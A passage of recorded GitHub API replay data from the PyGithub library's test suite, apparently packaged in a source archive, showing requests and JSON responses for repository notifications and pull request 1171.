v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2019-07-14T13:11:51Z","pushed_at":"2019-07-15T16:46:34Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11949,"stargazers_count":2692,"watchers_count":2692,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":926,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":71,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":926,"open_issues":71,"watchers":2692,"default_branch":"master","permissions":{"admin":false,"push":false,"pull":true},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":926,"subscribers_count":90} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest1168.testGetIssue.txt0000644000175100001660000006522514756101563024165 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/notifications?all=True {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 15 Jul 2019 17:30:18 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4942'), ('X-RateLimit-Reset', '1563215418'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/""'), ('Last-Modified', 'Mon, 15 Jul 2019 11:49:00 GMT'), ('X-Poll-Interval', '60'), ('X-OAuth-Scopes', 'notifications, public_repo'), ('X-Accepted-OAuth-Scopes', 'notifications, repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D066:9A65:7D787E2:9B24A06:5D2CB82A')] [{"id":"544598316","unread":false,"reason":"author","updated_at":"2019-07-15T11:49:00Z","last_read_at":"2019-07-15T17:24:25Z","subject":{"title":"Fix small issues for Python 3 compatibility.","url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1171","latest_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/511370638","type":"PullRequest"},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"url":"https://api.github.com/notifications/threads/544598316","subscription_url":"https://api.github.com/notifications/threads/544598316/subscription"},{"id":"541906556","unread":false,"reason":"author","updated_at":"2019-07-15T16:49:00Z","last_read_at":"2019-07-15T09:49:06Z","subject":{"title":"Code review bodies are optional in some cases.","url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1169","latest_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/511480471","type":"PullRequest"},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"url":"https://api.github.com/notifications/threads/541906556","subscription_url":"https://api.github.com/notifications/threads/541906556/subscription"}] https GET api.github.com None /repos/PyGithub/PyGithub/pulls/1171 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 15 Jul 2019 17:30:19 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4941'), ('X-RateLimit-Reset', '1563215419'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"e1697bb04d5d6f5c8aa477cc7b41a2dc"'), ('Last-Modified', 'Mon, 15 Jul 2019 12:56:28 GMT'), ('X-OAuth-Scopes', 'notifications, public_repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D068:9A63:34E56AF:414EC1C:5D2CB82A')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1171","id":297582636,"node_id":"MDExOlB1bGxSZXF1ZXN0Mjk3NTgyNjM2","html_url":"https://github.com/PyGithub/PyGithub/pull/1171","diff_url":"https://github.com/PyGithub/PyGithub/pull/1171.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/1171.patch","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1171","number":1171,"state":"open","locked":false,"title":"Fix small issues for Python 3 compatibility.","user":{"login":"Ferada","id":13713,"node_id":"MDQ6VXNlcjEzNzEz","avatar_url":"https://avatars1.githubusercontent.com/u/13713?v=4","gravatar_id":"","url":"https://api.github.com/users/Ferada","html_url":"https://github.com/Ferada","followers_url":"https://api.github.com/users/Ferada/followers","following_url":"https://api.github.com/users/Ferada/following{/other_user}","gists_url":"https://api.github.com/users/Ferada/gists{/gist_id}","starred_url":"https://api.github.com/users/Ferada/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Ferada/subscriptions","organizations_url":"https://api.github.com/users/Ferada/orgs","repos_url":"https://api.github.com/users/Ferada/repos","events_url":"https://api.github.com/users/Ferada/events{/privacy}","received_events_url":"https://api.github.com/users/Ferada/received_events","type":"User","site_admin":false},"body":"Still can't run tests with Python 3, but it's improving it a bit.","created_at":"2019-07-15T11:44:35Z","updated_at":"2019-07-15T12:56:28Z","closed_at":null,"merged_at":null,"merge_commit_sha":"d6c7b974d468eed8da81155a1b6c4c9fa6c2c345","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1171/commits","review_comments_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1171/comments","review_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1171/comments","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/14c79c13250edd1155af42f83b76a913faf58e9d","head":{"label":"Ferada:small-fixes-for-python-3","ref":"small-fixes-for-python-3","sha":"14c79c13250edd1155af42f83b76a913faf58e9d","user":{"login":"Ferada","id":13713,"node_id":"MDQ6VXNlcjEzNzEz","avatar_url":"https://avatars1.githubusercontent.com/u/13713?v=4","gravatar_id":"","url":"https://api.github.com/users/Ferada","html_url":"https://github.com/Ferada","followers_url":"https://api.github.com/users/Ferada/followers","following_url":"https://api.github.com/users/Ferada/following{/other_user}","gists_url":"https://api.github.com/users/Ferada/gists{/gist_id}","starred_url":"https://api.github.com/users/Ferada/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Ferada/subscriptions","organizations_url":"https://api.github.com/users/Ferada/orgs","repos_url":"https://api.github.com/users/Ferada/repos","events_url":"https://api.github.com/users/Ferada/events{/privacy}","received_events_url":"https://api.github.com/users/Ferada/received_events","type":"User","site_admin":false},"repo":{"id":196607288,"node_id":"MDEwOlJlcG9zaXRvcnkxOTY2MDcyODg=","name":"PyGithub","full_name":"Ferada/PyGithub","private":false,"owner":{"login":"Ferada","id":13713,"node_id":"MDQ6VXNlcjEzNzEz","avatar_url":"https://avatars1.githubusercontent.com/u/13713?v=4","gravatar_id":"","url":"https://api.github.com/users/Ferada","html_url":"https://github.com/Ferada","followers_url":"https://api.github.com/users/Ferada/followers","following_url":"https://api.github.com/users/Ferada/following{/other_user}","gists_url":"https://api.github.com/users/Ferada/gists{/gist_id}","starred_url":"https://api.github.com/users/Ferada/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Ferada/subscriptions","organizations_url":"https://api.github.com/users/Ferada/orgs","repos_url":"https://api.github.com/users/Ferada/repos","events_url":"https://api.github.com/users/Ferada/events{/privacy}","received_events_url":"https://api.github.com/users/Ferada/received_events","type":"User","site_admin":false},"html_url":"https://github.com/Ferada/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/Ferada/PyGithub","forks_url":"https://api.github.com/repos/Ferada/PyGithub/forks","keys_url":"https://api.github.com/repos/Ferada/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Ferada/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Ferada/PyGithub/teams","hooks_url":"https://api.github.com/repos/Ferada/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/Ferada/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/Ferada/PyGithub/events","assignees_url":"https://api.github.com/repos/Ferada/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/Ferada/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/Ferada/PyGithub/tags","blobs_url":"https://api.github.com/repos/Ferada/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Ferada/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Ferada/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/Ferada/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Ferada/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/Ferada/PyGithub/languages","stargazers_url":"https://api.github.com/repos/Ferada/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/Ferada/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/Ferada/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/Ferada/PyGithub/subscription","commits_url":"https://api.github.com/repos/Ferada/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/Ferada/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/Ferada/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/Ferada/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/Ferada/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/Ferada/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Ferada/PyGithub/merges","archive_url":"https://api.github.com/repos/Ferada/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Ferada/PyGithub/downloads","issues_url":"https://api.github.com/repos/Ferada/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/Ferada/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/Ferada/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/Ferada/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Ferada/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/Ferada/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/Ferada/PyGithub/deployments","created_at":"2019-07-12T15:57:24Z","updated_at":"2019-07-12T15:57:30Z","pushed_at":"2019-07-15T16:46:32Z","git_url":"git://github.com/Ferada/PyGithub.git","ssh_url":"git@github.com:Ferada/PyGithub.git","clone_url":"https://github.com/Ferada/PyGithub.git","svn_url":"https://github.com/Ferada/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11951,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"PyGithub:master","ref":"master","sha":"8b6b4505b646523000db0c0a7ca15e4c04ff2abd","user":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"repo":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2019-07-14T13:11:51Z","pushed_at":"2019-07-15T16:46:34Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11949,"stargazers_count":2692,"watchers_count":2692,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":926,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":71,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License 